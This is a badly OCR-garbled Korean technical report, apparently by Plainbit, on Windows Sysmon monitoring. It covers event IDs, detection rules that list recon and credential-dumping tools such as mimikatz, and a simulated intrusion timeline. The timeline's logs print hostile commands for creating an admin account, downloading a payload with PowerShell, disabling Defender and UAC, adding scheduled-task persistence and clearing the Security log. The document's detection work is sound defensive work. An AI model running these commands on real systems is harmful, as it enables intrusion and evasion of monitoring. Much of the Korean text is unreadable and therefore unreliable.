O[HIEEZ T AMK| O[HIE E0{(eventvwr.msc) 2
ol M AN HE
AlZH ==t
ol 7 AUA| HE
o] H|E2H _
i< -
& sifA| -
oA KA Qg2g S5t MY
o
CMD E St MM
ol =3 ol o HAY
QIE} A OHA| o 9 ol L HE
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AT

02
£

H
ne
1=
=

=z

= %6}- Al-xﬂ

— 1

40

21 AFH| (Shift + Delete)

M A

]

Host to USB (Ctrl + ¢ / Ctrl + v)

Host to USB (E2§1 o E&)

HERZ

247 AT

am

Reverse RDP

za

RE

PowerShell 3 %

PowerShell

tHemr

op ¢ Yok Al Delete)

T vhl 7 (Shift delete)

A EE B2A#C| Z2 M7 A EEHY, S i

22 Dns query (nule: DnsQuery)

29 Fila Executabla Dets

cted frule: FileExecuiableDeteciad)

1 File created (ule: FileCreale)

23 File Delete archived (ule: FileDelete)

1 Process Creale (nule: ProcessCreate]

Dns query
RuleName: -

UteTime: 2023-07-31 06:10:47 645

ProcessGuid: {fadct02e-4a1-64¢7-1105-000000000900)
Processid: 8768

QueryName: download.anydesk.com

QueryStatus: 0
QueryResults
Image:
User: DESKTOP-QBDACOAser

Flle Exeeutable Delected

RuleName: -

UtcTime: 2023-07-31 06:12:50.074

ProcessGUI. {fa5c402e-4a1-64C7-1105-000000000900)
Processle: 6768

User: DESKTOP-GEDACOAser

Image:

F-188.40.104.135,192 5.6.30,162.33.14.30:192. 26.92 30,192 31 80 30182
1

573018848859614E219AFAG332D4 10E0CAT 1FC3,MD5=30C9C57AASTO
File craated:

RuleName: -

UtcTime: 2023-07-28 00:53.55.166

ProcessGuid: {fafc402e-d081 4c1-8000-000000000E00}

Processid: 5644

Image: C:\WindowsiExplorer.EXE

TargetFlename: C:§Recycle. BinS-1-5-21-2740812108-3388594264- 3268411955100 115124
CreationUtcTime: 2023-07-28 00:53:55. 166

User: DESKTOP-CEDACOAser

File Delete archiver

RuleName: -

UteTime: 2023-07-28 00:50.23.072

ProcessGuid: {faSe402e-c081-64c1-8000-D00000000E00}

Processld: 5644

User: DESKTOP-CBDACOAser

Image: C:Windows'Explorer.EXE

gt txt
Hashes: SHA1=A04A8FESCCB19BAR1 CAC0873D01EGATOB2FBED MDS=098FEBCD462
IsExecutable: false

Archived: false - shredded file wilh pattem 0x74736574
Process Create:

RuleName: -

UteTime: 2023-07-31 02:43:40.994

ProcessGuid; {faSci02e-2144-64¢7-3a03-000000000900)
Processid: 10752

Image: C:Windows|System3Zinatepad.exe

FileVersion: 10.0.19041.1865 {WinBuild. 160151 .0800)
Description: Notepad

Product: Micrasel® Windows Operating System
Company: Microsoft Carporation

OriginalFilsName: NOTEPAD EXE

CommandLine: “C:

CurrentDirectory: C:\Usersiuser|Deskiopl

User: DESKTOP-GEDACOASer

LogonGuid: {faSc402e-6ai0F-64c3-318e-01000000000C)

Loganlc: 0x19E31

TerminaiSessionid: 1

IntegrityLevel: Medium

Hashes: SHA1=D0GDEFE2CBEFEF 10EDSF1361760FADAEY FATOF S, MD5=27FT 1612558
Fa {fa5cd02e-6413-64¢3-Th00-000000000900}

JTEPAD EXE” C:

(28 11]

sH2l0fl 2 Sysmon Z2Z HAE Zi HE| AE
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4.3. BIT-sysmon-config®

>SHA1, IMPEASH</Hash
y>SYSMON_Archive</ArchiveDirectory>

include">
"begin with">C:\PerfLogs\</IT
"begin with">C:\$Recycle.bin!
"begin with">C:\Users\Defaul
"begin with'">C:\Users\Public\<
"begin with">C:\Windows\Fonts\
"begin with'">C:\Windows\Debug\<
"begin with">C:\Windows\Media\
< condition="begin with">C:\Windows\Help\</Image>

<Image lition="begin with">C:\Windows\system32\config\systemprofile\</Image>

[OJ2 12] 2= BIT-sysmon—config a}H &

BIT-sysmon-config Rule 0fl “Network connection”, “Image Loading”, “CRL Checking”, “DNS lookup” &A% B&
Mo, Hol= Rule 552 Ch31t Lt

= i B

H 23] BIT-sysmon-config Rule0i H2|=l Rule 22

OMIE ID OME & include exclude H|1

1 ProcessCreate 461 148 -

2 FileCreateTime 4 10 -

3 NetworkConnect 37 13 -

5 ProcessTerminate 8 5 -

6 DriverLoad 72 3 -

7 Imageload 70 15 -

8 CreateRemoteThread 2 9 -

9 RawAccessRead - - 7|=oHK| 2

10 ProcessAccess 27 15 -

11 FileCreate 48 22 -
12,13, 14 | RegistryEvent 43 3 -

15 FileCreateStreamHash 13 - =

17,18 PipeEvent 12 3 -

19,20,21 | WmiEvent 0 - o= 7|12

> https://github.com/Plainbit/BIT-sysmon-config
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O[HIE ID OHIE & include exclude |
22 DnsQuery 0 92 -
23 FileDelete 40 4 -
24 ClipboardChange - - 7|155HX| 42
25 ProcessTampering 0 - BREIIE
26 FileDeleteDetected - - 7|=oHK| =
27 FileBlockExecutable - - 7|=oHK| =
28 FileBlockShredding - - 7|155HX| 22
29 FileExecutableDetected 1 0 -
O[HIE ID & Sysmon Configure Rule 2/ 7|&2 Ct21} ZiTt.

[E 24] OMIE ID &

Sysmon Configure Rule 24 7|&

O[HIE ID OHIE o BN 7|1E
: b c MME= T2NAUN AL S5 &0l
rocessCreate . i
S T2 NA0| oot O|HIE 22 £[X5}
FileC T SAKX0| 2ot 32 T AlZH ZRF Q| (B LA X
2 ileCreateTime _
Gt DENA0| 2ot MM UA| £ OHIE 2 Z[X3]
HEYT HAS Sol 23ots 19| x|
3 NetworkConnect N
HARol YIERIT $1Z0| OMIE 22 F/xia}
5 ProcessTerminate ZI2E|= TZ2MANM SAX EX &9I
. AARI0| EEE|= E2O|HON SAXIL &5 &40l
6 DriverLoad L o
HAEQI E2L0[H 7L AARI 2E E|HM 22 &= O[MIE XXt
| Load O MIAO S5 2EE= ZE0AM SAA 25 &0l
7 mageloa e
? A DLLO| AIARIO| 2C EjpiM 22 She OMIE Hxis)
oy |7 BN SIIE SIS By RAAO oy DRAA AR 4 EX el
8 CreateRemoteThrea L
ot AAR D2 M|AT} CHE T2MHANN AYHE MY Al 22 &= OMIE £[X5t
A . O2NATL AT CHEE Raw Sector £=&29| Q17| & dliolk= AS ©HAZ
9 RawAccessRead QIOL} AJAEI HE1E Qulst A& Q10 H|EHAIS]
HASH 25, 2| 21| S floff B4 Z=MA H2 =5 &0l
10 ProcessAccess L
Gt DEMATLCE DT2MA EZ2 Al 22 &= O[HIE £[X3}
AAS B0 28E= T 44 S5 ol
(K FileCreate o ; L I
By DHAT} RIS A5 22 S OHIE {53}
HRIAER| 7| E= g MA/AH A BN 20l
12,13, 14 | RegistryEvent A D2 MATH HXIAEZ 7| = U2 YH/28/AN Al 24 k= OHE

b

|Xist
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O[HIE ID OHIE &H g 71E
15 FileCreateStreamHash | « %l HEIRXE Soff 240 &2&e MY MM SX 30|
- ofY D2 s Sofl Y, AEEHM BEE Pipe =& 20
17,18 PipeEvent s
o AAHE DZ2MA0IM Mo, AZEHAM HEE Pipe 7t 24 &= OMIE x|X3}
o ZAXPI WMI E Aol AAE!I ME X XS AlsH AH|0] RS2 ER5H=
19,20,21 | WmiEvent o ° =" =
SXS 2Qlol| 2lofl 2= WMI O|HIE 27
« 34 WYOIM AdiEl= DNS #H2IE ©Xlob7| floif Z= DNS #H2| OMIEES
22 DnsQuery ZZGIXZE e DNS #H2|9| Bt =0t A8t URE +AolHM 2 Ei=
XA DNS 72| OMIE £%{3}
o 34 IFEUIM MY ALH| =X 2101
23 FileDelete .
o et ZZNAOIM FT7IHoZ WY AH| Al 22 &= OMIE x[X3}
o AAE SEEE I—H90| E@% m OHIEZ =Z &[0 34X SXE FII=
24 ClipboardChange AlHSE 2 QIX|ot HAZl H|O|E{7t ArchiveDirectory Off 2HISH XRIE|0 AJAE]
S0l S&= Nxl= *% X Sk HlZ-dst
. o DZ2MA 7|8 &K SO SHO=Z oY DZMAE Fo Z=ZAMAN HEols E=
25 ProcessTampering _ R .
SXZ S0I5H| 2ol BE TZA|A HE OHIE EX|
26 FileDeleteDetected o BAXIQ oY MK EMZ O[HIERZ ZZ6}7| IR0 HIZHEst
. « oid OHMIEZ A|ARSl EF Z=0 M MAUO| MHEl= XS EX| F XHHO|
27 FileBlockExecutable ) B} ot s
7t5otLt, YolZ H7 Al A|ARI| Seks 7I1E 5 U0 HIEESt
- ol O[HIE= AIéE"Q-I 5’“ J20M MAUO| 28 MN|=l= WS BX| H AHHO|
28 FileBlockShredding <. © ) 1=
7tsotLt, ol 2 Al AIAR FE 71E = V| =20 Hlg-dst
c 340 #8&= & Hfo'% Mdol= XM= ol = UOLY, FileCreate
29 FileExecutableDetected OMHMIEE Solf SAXZL A|AR| IS YWdsk= 25 22

M2tM, PowerShell Off A -t aiel Mt 22
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4.3.1. =2 Rule &A™
OMIE D 2 YIHE £ Rule 2 CHS1t ZLC}.

I 25] OMIE ID & HIFE =2 Rule

OMIE ID O[HE H 2 Rule =%

« SARL FE Stz AAH ZR0M GHE T2MA BX|

o SAXTEAAH HEL XHE 3Y =€, £ TS, UAC 28], 71y 3 A4
K| 3|0 2l F= AMEots Z2MA EHX|

+ xp_cmdshell, psexec S2 0|2al HH0A ML= HHO EX|

o SR} AR EXE X|R7| 2ol O[HIE 277 AH| A| EX|

« SAATL 370 85| gt AE WY, HIYHS WY, I8 HE, AHSkE

1 ProcessCreate a2l ErX|

+ K& SEE Qo MHIARL 2 AAIFY M/ AH EX

* Windows Defender 23[67| lo A8 HZA Al EX|

+ oY O OIS HXRoH T2M|A FH 7|8 Rule R2IE EX[5H| flofl 244 MY
Hash EfX|

* Windows A|ARIOA BiTE2REE MA| SEE= Z2AIA 02| X2

* Microsoft Office, .Net OflA] BiT2IREZ MA| SEE= Z2AA 02 X2

=

+ “C:\Temp” 5t%| 20N M= M LA HE EX]|
« “C:\Windows\Temp” St{0fl ZZ0A Llioh= M A HE EX|
+ “C:\Users” ot 220N L5k= o LA HE EX|

2 FileCreateTime + “exe” X0 CHSH M UA| HE B

* Setup, Install, Update & T2MAT} MM AN 23 OHIE 0|2 X2

« SEOIM T2 AIBEE YT Y I2I0M MY AZIS £85k= OMIE
o2 M2

« 340 8= ZE ¢Z EX|
3 NetworkConnect o SAXPI HERIE St AAR! B0 =2 A= T2MA EX|
+ PowerShell 2 HEINAN I CIRZE Q| EX|

+ BHR X2 U ALY ZR0IM Z2E TRAA G|
- BRI F2 ABES 9T He DRI DRMA E OME oo M)

5 ProcessTerminate

© A2E0 ZEE= obd S2{0[H SHA| BX|
* Microsoft, Intel 2| A|ZILIXME 7tX|= E20|H =& O[HIE 0f|2] X2

6 DriverLoad

« At T2 E8ol= AAH Z20M 2EE= DLL EX|

o O2MA QIHEIMNO| 28El= DLL 2E EX|

7 ImageLoad « AAH0| 2EE= 24 DLL ShA| ©X|

* OneDrive ZZ2MAOA MAAOI DLL O] 2EE|= O|HIE 02| X2
o AJAHEI TZMAA HAZQI DLLO| 2EE|= O[HIE 2] X2

+ AR 2 HEQIT S210|S0jM WY BE §2) AXE 44 HX|
« J|REOR Y AUCE MHGHs AAY Z2HA 02 M2

8 CreateRemoteThread
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OMIE ID O[HE H 2 Rule =%

« 34t T2 8ol= AAH ZR20M ZEMA HE X

« ANt XHE 3Y 250 F= AEok= AlAH> T2 MA THE EHX|

10 ProcessAccess * CobaltStrike =7 AFZ A| YME|= THE &X|

* Windows Defender Z2A|AT} CHE = MIAN| FHZok= OHIE K2 x|
* VMWare Z2A|AT} CHE T2 M|IA0| EZok= OHIE o2 X2

« BHRE F2 NSO AAY ZR0IM HEE T EX|
(S35, “C:\Windows™ 12101l A4El= Tl D EIXja) AIAH T2 QRsf2t=
89| EX)

© oy AN X2 AIZEIE SIKIS 717 T 4 EX)

11| FileCreate ¢ RSN Sl XY AAER] 4 B

¢ AIAE AR A AHSOR ARl SO0 AAES T S|

+ IS A T2AAS S5 S8 2 gx

+ Windows Defender Oflk{ 244 Tl0| EXX|E/0f FAE 22| U K| He HX|

© BTl TRHAT} QA TS A2 A5t OMIE 02| X2

« HX|AEZ| £¥E S35l Windows Defender H|2HAI5} EFX|

o AJARN AR A ISR M= S5 a8 EX|

+ A HAIE SE A YXAELT} 2R = AS BX

+ A HAISOIM ARBSHE ZE HE EX|

12,13, 14 | RegistryEvent + LSA ES0] ofgt 4 HE EX|

« A EH HE EX

« AJAEI0 USB 7t HZ 2 1 oA EX|

* OneDrive ZENAOIN LME|= ZHXAEZ] OHIE 02 X2

o FYEOIAAR DT2MANN L= HXIAER] OJHIE o2 X2

o Y MANN T2 ARBE= SHAE 718 MY o 2K
(bat, .cmd, .exe, .Ink, .vbs, .dll, reg, .ps1, hta)

15 FileCreateStreamHash « I Y HARXNE Soff o CHREE EiX|
(Chrome, Edge, Whale)

. 79 HUEE D= I AER A

OO - o o

0z

=N

« X4 39 25 Al FE MBEl= BHE Pipe HA|
« oY ZENAOIN F= MEE= HHE Pipe ©X|

17,18 PipeEvent * CobaltStrike =70M F2 AFEl= BHE Pipe BX

+ SMBOIM =2 ArBEl= BHE Pipe X

o FHTOIAAR D2MATL 4, HASkE HHE Pipe O[HIE 0|2 X2

=l
= Pi

* Microsoft Z2 71 AE T lioh= DNS #Hz2| O[HIE 02| X{2|
22 DnsQuery «  HE2IRX A8 F UMok= DNS #HzZ| O[HIE 0|2 X2
« SIZ0M F2 ABEE= T2 0IA LMASH= DNS #2| O[HIE 02| X2

+ Office 2A SRS 717 T AH| GX

23 FileDelete _
« AFEE 3 HO[2E YIS 718 OiY ALK &fX|

_3"_



-

Sysmong 0|8t SAE 7|30l AjOJH| 93 22 et o7 @ PLAINSIT

<Rule name="Account Created" groupRelation="and"> <!-- AH0| ¥4Ee ZHE ©X -->
<OriginalFileName condition="is">net.exe</OriginalFileName>
<CommandLine condition="contains all">user;/add</CommandLine>

</Rule>

<Rule name="Account Password Changed" groupRelation="and"> <!-- A% u|Yez7} #A=le Hg &1 -->
<OriginalFileName condition="is">net.exe</OriginalFileName>
<CommandLine condition="contains all'">user;*</CommandLine>

</Rule>

<Rule name="Group of Accounts Changed" groupRelation="and"> <!-- A¥eo| 180 ®ZE= A8 A -->
<OriginalFileName condition="is">net.exe</OriginalFileName>
<CommandLine condition="contains all">localgroup;/add</CommandLine>

</Rule>

<Rule name="Account Deleted" groupRelation="and"> <!-- HHo| &H=ls Hg ©x -->
<OriginalFileName condition="is">net.exe</OriginalFileName>
<CommandLine condition="contains all">user;/delete</CommandLine>

</Rule>

<Rule name="Service Created" groupRelation="and"> <!-- Mu|A7 #Hd5s He ®©X -—->

<OriginalFileName condition="is">sc.exe</OriginalFileName>
<CommandLine condition="contains">ecreate</CommandLine>

</Rule>

<Rule name="Service Modified" groupRelation="and"> <!-- Md|27} $HE&= HE X -->
<OriginalFileName condition="is">sc.exe</OriginalFileName>
<CommandLine condition="contains">config</CommandLine>

</Rule>

<Rule name="Service Deleted" groupRelation="and"> <!-- MH|A7} AHEE He ©@X -->
<0riginalFileName condition="is">sc.exe</OriginalFileName>
<CommandLine condition="contains">delete</CommandLine>

</Rule>

<Rule name="Task Scheduler Created" groupRelation="and"> <!-- Y 2#ZH7 ¥d=l=s A8 ©F -->
<OriginalFileName condition="is">schtasks.exe</OriginalFileName>
<CommandLine condition="contains">/Create</CommandLine>

</Rule>

<Rule name="Task Scheduler Modified" groupRelation="and"> <!-- %Y 27F2q7t $H=s Hg @i -->
<OriginalFileName condition="is">schtasks.exe</OriginalFileName>
<Commandline condition="econtains">/Change</CommandLine>

</Rule>

<Rule name="Task Scheduler Deleted" groupRelation="and"> <!-- XY 2AHZFH7 HEH:=l=s A& =7 -->

<OriginalFileName condition="is">schtasks.exe</OriginalFileName>
<CommandLine condition="contains">/Delete</CommandLine>
</Rule>

[ 13] BIT-sysmon-config i SZXt &2(0] MZ O[HE EX| Rule Y&

<Rule name="Reconnaissance" groupRelation="or"> <!-- ZdM7 A2 FE A F2 AMEdes ZzHx X -->
<0OriginalFileName conditio 'is">whoami.exe</OriginalFileName>
<0riginalFileName condition="is">ipconfig.exe</OriginalFileName>
<OriginalFileName 'is">tasklist.exe</OriginalFileName>
<OriginalFileName s">systeminfo.exe</OriginalFileName>
<OriginalFileName s">netstat.exe</OriginallileName>
<OriginalFileName ndition s">nslookup.exe</OriginalFileName>
<OriginalFileName conditio s">tracert.exe</OriginallileName>
<OriginalFileName condition s">route.exe</OriginalFileName>
<0OriginalFileName conditio s">klist.exe</OriginalFileName>
<0OriginalFileName condition="is">cmdkey.exe</OriginalFileName>
<CommandLine condition="contains any">dir C:\users;ls C:\users;dir C:\Users;ls C:\Users</CommandLine>
<OriginalFileName conditicn="is">quser.exe</OriginalFileName>
<OriginalFileName di 'contains any">nltest.exe;nltestk.exe</OriginalkileName>
<OriginalFileName cond ic 'contains any">nbtstat.exe;nbtinfo.exe</OriginalFileName>
<0OriginalFileName condition="is">netsh.exe</OriginalFileName>
<CommandLine condition="contains">netsh advfirewall</CommandLine>
<OriginalFileName conditicn="contains any">ping.exe</OriginalFileName>
<OriginalFileName condition="contains any">dsquery.exe</OriginalFileName>
<CommandLine condition="contains any">net view;net group</CommandLine>
<0riginalFileName condition="image">gprocess.exe</OriginalFileName>

<OriginalFileName 'image'>query.exe</OriginalFileName>

<OriginalFileName image">qgwinsta.exe</OriginallileName>

<OriginalFileName mage">rwinsta.exe</OriginalFileName>

<OriginalFileName 'contains any">tree.com;findstr.exe;where.exe</OriginalFileName>

<OriginalFileName condition
<0OriginalFileName conditior

s">pktmon.exe</OriginalFileName>
is">neté64.exe</OriginalFileName>
<0OriginalFileName conditio s">ADfind.exe</OriginalFileName>
<0riginalFileName condition="is">netscan.exe</OriginalFileName>
<OriginalFileName condition="is">NetworkShare_ pre2.exe</OriginalFileName>
</Rule>

<Rule name Credential Access" groupRelation="or"> <!-- ZHI7} THSY Lo F=2 A8stc ZEH2 X -->
<OriginalFileName conditio s">mimikatz.exe</OriginalFileName>
<OriginalFileName condition="is">rdrleakdiag.exe</OriginalFileName>
<0OriginalFileName conditio s">dump64 .exe</OriginalFileName>
<0OriginalFileName conditio is">DumpMinitoecl.exe</OriginalFileName>
<OriginalFileName ndition="is">sqldumper.exe</OriginalFileName>
<OriginalFileName conditio is">procdump.exe</OriginalFileName>
<OriginalFileName nditio s">rpcping.exe</OriginallFileName>
<OriginalFileName ndition="is">createdump.exe</OriginalFileName>
</Rule>

[O23 14] BIT-sysmon-config W AKXt F2 AHESl= Z2MA EX| Rule Y&
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Sysmon= 0|88t SAE 7[8to| AO|H @ = ot AL
4.4. Configure A|L2|2 HIAE
A8t BIT-sysmon-config TIQIS LY BZOIN 85| WME & 9= JHlol ALZIQS MR & HAES
MO, 1 Adk= ChEat 2Lt
4.41. AL 74 L Ef2}Ql
o
_o.
[
SHZ MY AH
3. MY CHREE
(PowerShell)
6. L% 0ls
AL PCB
X
MEE
PR S e 4, 94d I 5.0IE 27
2791 (king) Al AR
[O& 15] ALt HHeE
18:40:02 18:40:26 18:40:42 18:41:55 ~ 18:41:57
HqA d% HE e administrators 18 7} R
(192.168.199,92:3389) (king) (king) (PowerShell)
18:46:23 18:46:01 18:45:05 ~ 18:45:06 18:43:38
2 2HE2 S5 HES3 A7 UAC il A MY HY
34 9 (Windows Defender)
9 ?
18:46:47 18:47:23
O|HIE 27 Akx| W= ols
(wevtutil)
[O& 16] AlLtz|2 Eflztel (2023-10-20)
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4.4.2. \L2|2 HIAE ZAu}

HAE AlL2|R HAE

[£ 26] AlLt2|2 EHIAE 24

M
ofm
%
fol
-5

Sysmon 271 74 Q4= CfS1t 2Tt

ZIO|M &It Sysmon 21 74 Q4

UA| OHE R M LHE X
2023-10-20 Sourcelp: 192.168.199.92
TP ESEN i Network Connect
18:40:02 DestinationPort: 3389
2023-10-20 CommandLine:
AE M _ Process Create
18:40:26 add user king kong1234!@ /add
2023-10-20 a5 7t CommandLine:
. . _ Process Create
18:40:42 (administrators) net localgroup administrators king /add
CommandLine:
2023-10-20 oY CREE powershell.exe Invoke-WebRequest —Uri
" . . Process Create
18:41:55 (PowerShell) http://{IP}/kkkk5555/1234.zip" —~OutFile
"C:\Users\king\1234.zip"
Image: C:\Windows\System32\WindowsPowerShell\
2023-10-20 ol Ozt v1.0\powershell.exe
o Network Connect
18:41:57 (PowerShell) Destinationlp: 3.34.4.133
DestinationPort: 80
2023-10-20 o CommandLine: "C:\Windows\System32\cmd.exe" /C
HHA| H|&HAI5} ) . . _ ., Process Create
18:43:38 C:\Users\king\DisableWindowsDefender.bat
ParentCommandLine:
"C:\Windows\System32\cmd.exe" /C
"C:\Users\king\DisableWindowsDefender.bat”
2023-10-20 o _ ,
18:43:38 A HIZSt TargetObject: Registry Event
e HKLM\SOFTWARE\Policies\Microsoft\Windows
Defender\DisableAntiSpyware Details: DWORD
(0x00000001)
2023-10-20 ) CommandLine:
UAC A o Process Create
18:45:05 wscript DisableUAC.vbs
ParentCommandLine: wscript DisableUAC.vbs
CommandLine:
2023-10-20 ) S )
1845:06 UAC olfH| C:\Windows\System32\cmd.exe" /c reg ADD Process Create
e HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
Image:
2023-10-20 . .
184601 HEYT AHY C:\Users\king\goon3_win_amd64.exe Network Connect
o X Sl OJHIE Chas hid
CommandLine:
2023_1 0_20 n . "
184623 R AAE2 S5 C:\Windows\System32\cmd.exe" /C Process Create

"C:\Users\king\Scheduler.bat”
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UA| OMHIE R SN LHE X
ParentCommandLine:
"C:\Windows\System32\cmd.exe" /C
2023-10-20 "C:\Users\king\Scheduler.bat”
R0 AN ST E2 \ \ i o\ Process Create
18:46:23 CommandLine:
schtasks /Create /SC ONCE /TN "MS Office" /TR
"C:\Users\king\king.exe" /ST 23:69 /F
2023-10-20 TargetFilename: i
R0 AN ST 2 _ _ File Create
18:46:23 C:\Windows\System32\Tasks\MS Office
2023-10-20 CommandLine:
OHIE 277 AK| _ _ Process Create
18:46:47 wevtutil ¢l Security
TargetObject:
HKU\S-1-5-21-3728364944-3941103186-
2023-10-20 3578969269-1001\Software\Microsoft\ )
=N . ] Registry Event
18:47:23 Terminal Server Client\Servers\192.168.199.123\

UsernameHint
Details: plainbit

_35_



SysmonZ 0|88t SAE 7|Hto] AO|H Q& 22 &

oN
OII
ro
re
-

@ PLAIN3IT

Sysmon EX| Al 7|Z2MCZ 64MB o| Z[f EF= 7HKIH, Z|tf EF0| ZatE[H OME 277} FHOMITICE
Configure Rule &80 Mt Z=MA 3 HIEXSI 2H OMIEJ} L 2YoE| HEX Sysmon 7|2 21 EF2I
64MB == 4~5 0j| siE=l= =32t 2 ECt HLE BIT-sysmon-config &= LAXQI T SHA0IM 1 Y Tt

2MB 9| OJIET} LHSIX|T SAXIZE AR EFol 52 WS +AolH OHME 277t T &

nn

0:".;
972
S
rn
O
o
Hu

ro
b

off, EloHAILL &

0%

Al RIS BRIl & tiSsk| fletiils

IA 1GB 9 212 M5l X702 uHRi5H T2[5HO

o

Ct.

[E 27] 1Y Z Sysmon 21 37| H|n

Microsoft SwiftOnSecurity | Neo23x0 (trace) | Neo23x0 (sysmon) olafhartong PLAINBIT

2MB 6MB 600MB 8MB 15MB 2MB

4.5.2. Sysmon =S E2st 34 A Xt
Sysmon OA= Configure Rule 2 Soll £ dlE XIHA|I7I= File Block Executable, File Block Shredding
O|HIEZ} Z=XHSICE. File Block Executable O#IE= Configure Rule O] Al3H M MMS XISt A2 S X|H6HH oiY

B=0f| 2 Oi 4y0| xHHEC

<RuleGroup name="" groupRelation="or"»
<FileBlockExecutable onmatch="include" >
<TargetFilename condition="contains all"»C:\Users;Downloads</TargetFilename>
<f/FileBlockExecutable>
</RuleGroup>

[32! 17] File Block Executable O|#IE Rule GA| (C:\Users\*\Downloads0f| C}2ZE &&= Aldl o Xt

T
1l
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Sysmong 0|8¢%t &4

File Block Shredding O|#HlE= Configure Rule 0f| SDelete 2 Z

>
ol
Fl'l:
o2
do
rr
>
rh
il
Ral
Q
[
i

B=E XHolH oliid =0 278 M7 A2 o RITHEID KT, 2O Z A

<{RuleGroup name="" groupRelation="or">»
<FileBlockShredding onmatch="include">
<TargetFilename condition="contains all"»>C:\Users;Downloads</TargetFilename>

</FileBlockShredding>
</RuleGroup:>

[722 19] File Block Shredding O[HIE Rule OA| (C:\Users\*\Download ZZ0|A 2tF AtX| Xt

Z124L}, File Block Executable, File Block Shredding O[HIE=
Q=D 283K AAHOIN Al Iol0] MAEX| o= ZEU

7128M0= Sysmon Configure O|A] ZHdSI5}HK]

Xt F= EEot= H=2E i OMES Salf At SAK0| 2let 324 =+ FYUS ARH0 R + UL

4.5.3. ArchiveDirectory Data &

RLEE AL AIL”0 HFet 7 SH0 8ot =75 AHloks Wels A= AUCE Sysmon 9 M A

o OHMEE= AXE D29 oA &= 7I5ot| H=E0 OSINT Tool 2 Malf =%
ALt ofKIZE, OSINT Tool Off ZHoHA| B= 4l &g WA ARIZ MAol| ?lotidi= MES 2=

Sysmon Oll= File Delete archived, Clipboard changed OMIEZ AfH|El mut STHC LHEE XNZotk=

ArchiveDirectory 7+ ZXHSIL}.
File Delete archived O[HIE= AK|E IS ArchiveDirectory 0| MG AKXt &2t 34 THE &S £ UL
BIAEZ Clipboard changed O[HIEZ 21018t o= QU0 F71HQI ZAXIC| HRIE

LSt 34 SARE AIL-UM SAkeH &
TEEE Al B [2EAHT gAe=

ot= Ol ==20| =Lt AKE DfUE2 ARZXPE X8t ArchiveDirectory Ol

KIEelrt. 2ok, AR If0| 0x00 HIO|EDH |0 QUTHH, ArchiveDirectory Off MEE[X| G=Ct,

OIOF RIGHALT ZA} CHAM A|AEIOA Sysmon 0| S

le-
=O£
Okl
N
>

EIRHCHH ArchiveDirectory Off X&E HIO|EHE
AHIE AlHoh=0| &8 = UL
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XNEE SEEE oY

(a2 22] ArhlveD|retr LK

CLIP-89620C099B5C950 71610EAET721C3347FBY1BS00BE3EE21631AS9023677AEEZESTBEIBC - Windows HEE - O *
IUF HIE AMYO) =27V B8
Al£&E 2L E (Sysmon)= Windows A28 MH|2 31 CIHIO|A ESMO|HZ, A0 2X 58 A" HJFEE
2 S M4F MEE X5 AlA" 222 DL HZS D Windows O|HIE 270 7| EEL Lt

Ln 1, Col 1 100%  Windows (CRLF)  UTF-16 LE
[2& 23] ArchiveDirectory0] &= SEHE It g
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